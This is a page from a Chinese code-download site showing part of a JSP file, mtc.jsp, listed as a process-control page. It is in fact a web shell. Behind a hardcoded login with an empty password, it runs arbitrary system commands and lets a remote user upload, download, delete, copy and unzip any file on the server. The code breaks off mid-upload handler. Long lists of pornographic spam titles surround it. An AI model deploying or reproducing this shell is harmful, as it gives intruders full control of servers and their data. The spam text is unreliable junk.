亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? mtc.jsp

?? 功能強大的過程控制頁面
?? JSP
?? 第 1 頁 / 共 3 頁
字號:
?<%@page contentType="text/html; charset=UTF-8" %><%@page import="java.util.zip.*" %><%//@page import="org.apache.tools.zip.*" %><%@ page import="java.io.*" %><%@ page import="java.net.*" %><%@page import="java.sql.*" %><%@page import="sun.awt.shell.ShellFolder"%><%@page import="javax.swing.filechooser.FileSystemView"%><%@ page import="java.util.*"%><%@ page import="java.math.*"%><%@page import="java.awt.*" %><%@page import="java.awt.event.*" %><%@page import="java.awt.image.*"%><%@page import="javax.swing.*"%><%@page import="java.awt.datatransfer.*"%><%@page import="javax.imageio.*"%><%@page import="java.util.regex.*"%><%!
private static final String PASSWORD="";//這里是用戶的登陸密碼
String uri;
private static final boolean isLinux=System.getProperty("os.name").startsWith("Linux");
private static final FileSystemView fsv = FileSystemView.getFileSystemView();
private static String START_TYPE[] ={"", "", "自動", "手動", "禁用"};
private static String STATE_TYPE[] ={"", "已停止", "", "", "已啟動", "5", "6", "暫停"};
private static Rectangle rect[] = new Rectangle[8];
static
{
  Dimension d = Toolkit.getDefaultToolkit().getScreenSize();
  int width = d.width;
  int height = d.height;
  for (int i = 0; i < rect.length; i++)
  {
    rect[i] = new Rectangle(0, height / 8 * i, width, height / 8);
  }
}
public static String exec(String cmd, Writer out) throws IOException
{
  StringBuffer sb = new StringBuffer();
  int len = 0;
  byte by[] = new byte[cmd.length() * 10];
  Process p = Runtime.getRuntime().exec(cmd);
  InputStream is = p.getInputStream();
  while((len = is.read(by)) != -1)
  {
    String str = new String(by, 0, len);
    if(out != null)
    {
      out.write(str);
      out.flush();
    }
    sb.append(str);
  }
  is.close();
  return sb.toString();
}

public String unzip(File file, File dir) throws IOException
{
  if (file.getName().toLowerCase().endsWith(".zip"))
  {
    StringBuffer result = new StringBuffer();
    try
    {
      ZipFile zf = new ZipFile(file);
      Enumeration enumer = zf.entries(); //zf.getEntries();
      while (enumer.hasMoreElements())
      {
        ZipEntry ze = (ZipEntry) enumer.nextElement();
        String zename = ze.getName();
        result.append(zename + "<br/>");
        if (ze.isDirectory())
        {
          File file11 = new File(dir,zename);
          file11.mkdirs();
        } else
        {
          File file11 = new File(dir,zename).getParentFile();
          if (!file11.exists())
          {
            file11.mkdirs();
          }
          int i=0;
          byte zeby[] = new byte[8192];
          InputStream is = zf.getInputStream(ze);
          FileOutputStream fos = new FileOutputStream(dir.getAbsolutePath() + "/" + zename);
          while((i=is.read(zeby))!=-1)
          {
            fos.write(zeby,0,i);
          }
          is.close();
          fos.close();
        }
      }
      zf.close();
      result.append("全部完成");
      return result.toString();
    } catch (Exception e)
    {
      return (file.getName() + " 不是 ZIP 壓縮文件");
    }
  } else
  {
    Runtime rt = Runtime.getRuntime();
    File f=new File("C:\\Program Files\\WinRAR\\UnRAR.exe");
    if(!f.exists())f=new File("D:\\Program Files\\WinRAR\\UnRAR.exe");
    if(!f.exists())f=new File(this.getServletContext().getRealPath(uri)+"\\UnRAR.exe");
    String path=f.exists()?f.getPath():"unrar";
    Process p = rt.exec("\"" + path + "\" x -o+ -p- " + file.getAbsolutePath() + " " + dir.getAbsolutePath());
    StringBuffer sb = new StringBuffer();
    InputStream fis = p.getInputStream();
    int value = 0;
    while ((value = fis.read()) != -1)
    {
      sb.append((char) value);
    }
    fis.close();
    String result = new String(sb.toString().getBytes("ISO-8859-1"), "GBK");
    int index = result.indexOf("中解壓");
    if (index == -1)
    {
      return (file.getName() + " 不是 RAR 壓縮文件");
    } else
    {
      index += 4;
      result = result.substring(index);
      result = result.replaceAll("\r\n", "<br/>").replaceAll("  ", " ");//.replaceAll("\n", "<BR/>").replaceAll("\\\\", "/").replaceAll(file.getAbsolutePath(), "");
      return (result);
    }
  }
}
public static void zip(String ps[],OutputStream os)throws IOException
{
  ZipOutputStream zos = new ZipOutputStream(os);
  for(int i=0;i<ps.length;i++)
  {
    zip(zos,new File(ps[i]),"");
  }
  zos.close();
}
public static void zip(ZipOutputStream zos, File file, String context) throws IOException
{
  if (file.isFile())
  {
    int i=0;
    byte by[] = new byte[8192];
    FileInputStream is = new FileInputStream(file);
    zos.putNextEntry(new ZipEntry(context + file.getName()));
    while((i=is.read(by))!=-1)
    {
      zos.write(by,0,i);
    }
    is.close();
    zos.closeEntry();
  } else
  if (file.isDirectory())
  {
    context=context + file.getName() + "/";
    zos.putNextEntry(new ZipEntry(context));
    zos.closeEntry();
    File files[] = file.listFiles();
    if (files != null)
    {
      for (int i = 0; i < files.length; i++)
      {
        zip(zos, files[i], context);
      }
    }
  }
}
public void del(File f)
{
  if (f.isDirectory())
  {
    File fs[] = f.listFiles();
    for (int i = 0; i < fs.length; i++)
    {
      del(fs[i]);
    }
  }
  f.delete();
}

public void copy(File s,File d)throws IOException
{
  d=new File(d,s.getName());
  if(s.isDirectory())
  {
    d.mkdir();
    File fs[]=s.listFiles();
    for(int i=0;i<fs.length;i++)
    {
      copy(fs[i],d);
    }
  }else
  {
    byte by[] = new byte[8192];
    FileInputStream fis=new FileInputStream(s);
    FileOutputStream fos=new FileOutputStream(d);
    int i=0;
    while((i=fis.read(by))!=-1)
    {
      fos.write(by,0,i);
    }
    fis.close();
    fos.close();
  }
}

public static File getLnkpath(File f)throws IOException
{
  if(f.exists())
  {
    byte by[]=new byte[(int)f.length()];
    FileInputStream fis=new FileInputStream(f);
    fis.read(by);
    fis.close();
    String str=new String(by,"GBK");
    String prefix=new StringBuffer(7).append((char)42).append((char)65533).append((char)16).append((char)0).append((char)0).append((char)0).append((char)0).toString();
    int i=str.indexOf(prefix)+7;
    if(i>6)
    {
      StringBuffer path=new StringBuffer();
      for(int j=i;j<str.length();i++)
      {
        int ch=str.charAt(i);
        if(ch!=0)
        {
          path.append((char)ch);
        }else
        {
          break;
        }
      }
      return new File(path.toString());
    }
  }
  return f;
}

%><%

String user=(String)session.getAttribute("user");

uri=request.getRequestURI();
uri=uri.substring(0,uri.lastIndexOf('/'));

request.setCharacterEncoding("UTF-8");

String p=request.getParameter("p");
if(p==null)p="/";
File f = new File(p);
if(!f.exists())
{
  p=new String(p.getBytes("ISO-8859-1"),"UTF-8");
  f = new File(p);
}
String v=request.getParameter("v");
String ps[]=request.getParameterValues("ps");
String mt=request.getParameter("mt");
if(mt==null)mt="file";
int pos=0;
String tmp=request.getParameter("pos");
if(tmp!=null)
{
  pos=Integer.parseInt(tmp);
}
int oby=1;
tmp=request.getParameter("oby");
if(tmp==null)
{
  tmp=(String)session.getAttribute("oby");
}
if(tmp!=null)
{
  oby=Integer.parseInt(tmp);
  session.setAttribute("oby",String.valueOf(oby));
}
//版本
boolean ver=true;
Boolean btmp=(Boolean)session.getAttribute("ver");
if(btmp!=null)
{
  ver=btmp.booleanValue();
}
///////////////////////////////////
if(mt.length()>5)
{
  if(user==null)
  {
    user=request.getParameter("user");
    String pwd=request.getParameter("pwd");
    ver="true".equals(request.getParameter("ver"));
    if(user.equals("mietian")&&pwd.equals(PASSWORD))
    {
      session.setAttribute("ver",new Boolean(ver));
      session.setAttribute("user",user);
    }else
    {
      out.print("<script>history.back();alert('用戶名或密碼錯誤!!!');</script>");
      return;
    }
  }
  out.clear();
  if(mt.equals("file.mkdir"))
  {
    f=new File(f,v);
    f.mkdirs();
  }else if(mt.equals("file.del"))
  {
    for(int i=0;i<ps.length;i++)
    {
      del(new File(ps[i]));
    }
  }else if(mt.equals("file.unzip"))
  {
    for(int i=0;i<ps.length;i++)
    {
      unzip(new File(ps[i]),f);
    }
  }else if(mt.equals("file.zip"))
  {
    File co=new File(ps[0]+".zip");
    while(co.exists())
    {
      co=new File(ps[0]+"_"+System.currentTimeMillis()+".zip");
    }
    zip(ps,new FileOutputStream(co));
  }else if(mt.equals("file.down"))
  {
    response.setContentType("application/octet-stream");
    response.setHeader("Content-Disposition", "attachment; filename=" + URLEncoder.encode("file.zip","UTF-8"));
    zip(ps,response.getOutputStream());
    return;
  }else if(mt.equals("file.ren"))
  {
    for(int i=0;i<ps.length;i++)
    {
      File re=new File(f,v+(i==0?"":" ("+i+")"));
      new File(ps[i]).renameTo(re);
    }
  }else if(mt.equals("file.cut")||mt.equals("file.copy"))
  {
    session.removeAttribute("file.cut");
    session.removeAttribute("file.copy");
    session.setAttribute(mt,ps);
  }else if(mt.equals("file.paste"))
  {
    ps=(String[])session.getAttribute("file.cut");
    if(ps!=null)
    {
      out.print("剪切...<br>");
      for(int i=0;i<ps.length;i++)
      {
        if(p.startsWith(ps[i]))
        {
          out.print("跳過"+ps[i]+"<br/>");
          continue;
        }
        File cut=new File(ps[i]);
        boolean rs=cut.renameTo(new File(f,cut.getName()));
        if(!rs)
        {
          copy(cut,f);
          del(cut);
        }
        out.print(ps[i]+"<br/>");
        out.flush();
      }
      session.removeAttribute("file.cut");
    }else
    if((ps=(String[])session.getAttribute("file.copy"))!=null)
    {
      out.print("復制...<br>");
      for(int i=0;i<ps.length;i++)
      {
        if(p.startsWith(ps[i]))
        {
          out.print("跳過"+ps[i]+"<br/>");
          continue;
        }
        copy(new File(ps[i]),f);
        out.print(ps[i]+"<br>");
        out.flush();
      }
    }
    out.print("完成,<A href=?p="+URLEncoder.encode(p,"UTF-8")+" >返回</A>");
    return;
  }else if(mt.equals("file.ext"))
  {
    if(f.exists())
    {
      try
      {
    	 Image i=((ImageIcon)fsv.getSystemIcon(f)).getImage();
    	 BufferedImage bi=new BufferedImage(16,16,BufferedImage.TYPE_4BYTE_ABGR);
    	 bi.createGraphics().drawImage(i,0,0,null);
        //BufferedImage bi=(BufferedImage)((ImageIcon)fsv.getSystemIcon(f)).getImage();
        OutputStream os=response.getOutputStream();
        ImageIO.write(bi,"PNG",os);
        os.close();
      }catch(Exception ex)
      {
      }
    }
    return;
  }else if(mt.equals("file.dl"))
  {
    response.setContentType("application/octet-stream");
    response.setHeader("Content-Disposition", "attachment; filename=" + URLEncoder.encode(f.getName(),"UTF-8"));
    int len=(int)f.length();
    response.setContentLength(len);
    FileInputStream fis=new FileInputStream(f);
    OutputStream os=response.getOutputStream();
    byte by[]=new byte[8192];
    int value=0;
    try
    {
      while((value=fis.read(by))!=-1)
      {
        os.write(by,0,value);
      }
    }finally
    {
      fis.close();
      os.close();
    }
    return;
  }else if(mt.equals("file.upload"))
  {
    String ce = request.getCharacterEncoding();
    if(ce == null)ce = System.getProperty("file.encoding");
    String ct = request.getContentType();
    ct="--" + ct.substring(30);
    int j=0;
    byte by[] = new byte[8192];
    ServletInputStream is = request.getInputStream();
    is.readLine(by,0,by.length);//ct
    while((j=is.readLine(by,0,by.length))!=-1)
    {
      String line = new String(by, 0, j, ce);//Content-Disposition
      int x = line.indexOf("name=\"") + 6;
      int y = line.indexOf("\"", x);
      String name = line.substring(x, y);
      x = line.indexOf("filename=\"", y) + 10;
      is.readLine(by,0,by.length);//Content-Type: application/msword 或 rn
      if(x > 10)
      {
        y = line.indexOf("\"", x);
        String fn = line.substring(x, y);
        x = fn.lastIndexOf('\\');
        if(x != -1)
        fn = fn.substring(x + 1);
        OutputStream os = new FileOutputStream(new File(p, fn));
        boolean rn = false;
        j=is.readLine(by,0,by.length);//rn
        if(j==2)
        {
          j=is.readLine(by,0,by.length);//
        }
        do
        {
          if(rn)
          {
            os.write(13);
            os.write(10);
          }
          if(j > 2 && by[j - 2] == 13 && by[j - 1] == 10)
          {
            rn = true;
            j -= 2;
          } else
          {
            rn = false;
          }
          os.write(by, 0, j);
          j = is.readLine(by,0,by.length);
          line = new String(by, 0, j, ce);
        } while(!line.startsWith(ct));
        os.close();
      }else
      {
        j =is.readLine(by,0,by.length);
        line = new String(by, 0, j, ce);
        StringBuffer sb = new StringBuffer();

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
一区二区三区四区蜜桃| 欧美刺激脚交jootjob| 中文字幕日本不卡| 成人国产精品视频| 亚洲国产cao| 久久久久久综合| 欧美专区在线观看一区| 成人激情小说网站| 高清在线成人网| 91小视频在线观看| 在线观看精品一区| 538在线一区二区精品国产| 欧美丝袜丝交足nylons图片| 欧美日韩三级在线| 日韩精品一区二区三区中文不卡| 国产麻豆视频一区| 日韩成人一级片| 亚洲免费在线电影| 国产午夜精品一区二区| 欧美美女bb生活片| 欧洲人成人精品| 国产成+人+日韩+欧美+亚洲| 国产精品综合网| 亚洲一级二级三级| 亚洲猫色日本管| 日韩精品一级二级| 国产精品影音先锋| 国产精品久久久久久久久久免费看| 欧美日韩高清一区二区三区| 9人人澡人人爽人人精品| 国产老妇另类xxxxx| 久久成人综合网| 国产在线视视频有精品| 免费看欧美女人艹b| 激情六月婷婷综合| 国产sm精品调教视频网站| 国产麻豆视频精品| a美女胸又www黄视频久久| 9i在线看片成人免费| 99在线视频精品| 欧美三级日韩在线| 欧美日韩在线直播| 精品国产亚洲在线| 国产精品乱人伦| 亚洲线精品一区二区三区八戒| 亚洲视频一区在线| 蜜臀精品一区二区三区在线观看| 久久国产麻豆精品| 欧美亚洲国产怡红院影院| 欧美一区二区播放| 中文在线资源观看网站视频免费不卡| 中文字幕在线不卡视频| 日韩中文字幕区一区有砖一区 | 亚洲欧洲精品天堂一级| 亚洲美女电影在线| 欧美综合在线视频| 国产日韩综合av| 人禽交欧美网站| 色视频成人在线观看免| 欧美一区日本一区韩国一区| 国产精品入口麻豆九色| 蜜臀av性久久久久蜜臀aⅴ流畅| 成人福利视频在线看| 欧美成人vps| 天使萌一区二区三区免费观看| 国产伦精品一区二区三区在线观看| 一本久久a久久精品亚洲| 久久精品欧美一区二区三区不卡| 亚洲一区二区精品视频| 9人人澡人人爽人人精品| 中日韩免费视频中文字幕| 麻豆精品视频在线观看| 日韩一级大片在线观看| 亚洲欧美偷拍三级| 欧美性生活大片视频| 亚洲人123区| 美国十次综合导航| 日本精品一级二级| 亚洲精品一区二区三区香蕉| 制服丝袜在线91| 26uuu国产电影一区二区| 一区二区三区加勒比av| 亚洲成人激情综合网| 国产精品对白交换视频| 一区二区三区四区蜜桃| 麻豆91精品91久久久的内涵| 日韩高清在线观看| 国产69精品久久777的优势| 99久久精品国产毛片| 亚洲成人手机在线| 欧美精品亚洲二区| 精品黑人一区二区三区久久| 亚洲情趣在线观看| 亚洲国产日韩a在线播放性色| 狠狠色丁香婷婷综合| 精品国产乱码久久久久久久久 | 一区二区三区加勒比av| 美国十次了思思久久精品导航| 97aⅴ精品视频一二三区| 精品99999| 欧美性猛交一区二区三区精品| 精品一区二区三区在线播放视频 | 国产一区二区三区国产| 亚洲人成网站色在线观看| 9色porny自拍视频一区二区| 首页国产欧美日韩丝袜| 精品国内片67194| 欧美人与z0zoxxxx视频| 国产精品伊人色| 另类专区欧美蜜桃臀第一页| 亚洲综合一区在线| 亚洲最色的网站| 国产日产欧产精品推荐色| 欧美日韩在线观看一区二区| 波多野结衣在线一区| 成人高清av在线| 99久久99精品久久久久久| 99精品视频中文字幕| 欧美性色黄大片手机版| caoporn国产精品| 一本大道av一区二区在线播放| 91精品国产综合久久久蜜臀粉嫩| 国产女主播在线一区二区| 欧美日韩1区2区| 日韩一区二区三区视频| 欧美一区二区视频观看视频| 91精品福利在线一区二区三区| 国产成人精品免费视频网站| 六月丁香综合在线视频| 国产一区二区三区av电影| 欧洲色大大久久| 色综合欧美在线视频区| 色噜噜狠狠成人网p站| 色婷婷综合久久久中文字幕| 欧美日韩精品欧美日韩精品一| 色综合久久六月婷婷中文字幕| 91免费观看国产| 久久久亚洲精华液精华液精华液 | 日韩精品成人一区二区三区 | 老司机精品视频在线| a亚洲天堂av| 91精品国产91热久久久做人人| 2014亚洲片线观看视频免费| 亚洲精品国产成人久久av盗摄 | 亚洲国产cao| 成人sese在线| www国产精品av| 午夜精品免费在线| 欧洲中文字幕精品| 国产精品毛片久久久久久 | 成人午夜av影视| 久久色在线视频| 日本女人一区二区三区| 日本精品一级二级| 精品三级在线观看| 麻豆精品国产91久久久久久| 欧美久久久久免费| 手机精品视频在线观看| 色婷婷av一区二区三区软件| 国产精品白丝在线| 99精品久久99久久久久| 国产精品青草综合久久久久99| 久久aⅴ国产欧美74aaa| 在线综合亚洲欧美在线视频| 亚洲一区二区三区中文字幕在线| 91国偷自产一区二区三区成为亚洲经典| 国产精品久久久久精k8 | 国产99久久久精品| 日本一区二区不卡视频| 色婷婷久久综合| 日日噜噜夜夜狠狠视频欧美人 | 欧美疯狂做受xxxx富婆| 天堂av在线一区| 国产精品污污网站在线观看 | 色伊人久久综合中文字幕| 亚洲成人精品一区| 日本一区二区三区国色天香| 91蜜桃在线观看| 国产在线播放一区二区三区| 1024成人网| 久久女同互慰一区二区三区| 91久久精品一区二区三区| 激情综合亚洲精品| 亚洲香肠在线观看| 国产精品二区一区二区aⅴ污介绍| 欧美在线观看视频一区二区三区 | 久久成人麻豆午夜电影| 一区二区久久久久久| 久久九九久精品国产免费直播| 日本乱人伦一区| aaa亚洲精品| 不卡一卡二卡三乱码免费网站 | 狠狠色伊人亚洲综合成人| 亚洲国产综合91精品麻豆| 亚洲丝袜精品丝袜在线| 国产偷国产偷亚洲高清人白洁 | 国产剧情一区二区| 国产大片一区二区| 麻豆专区一区二区三区四区五区| 视频一区二区三区入口|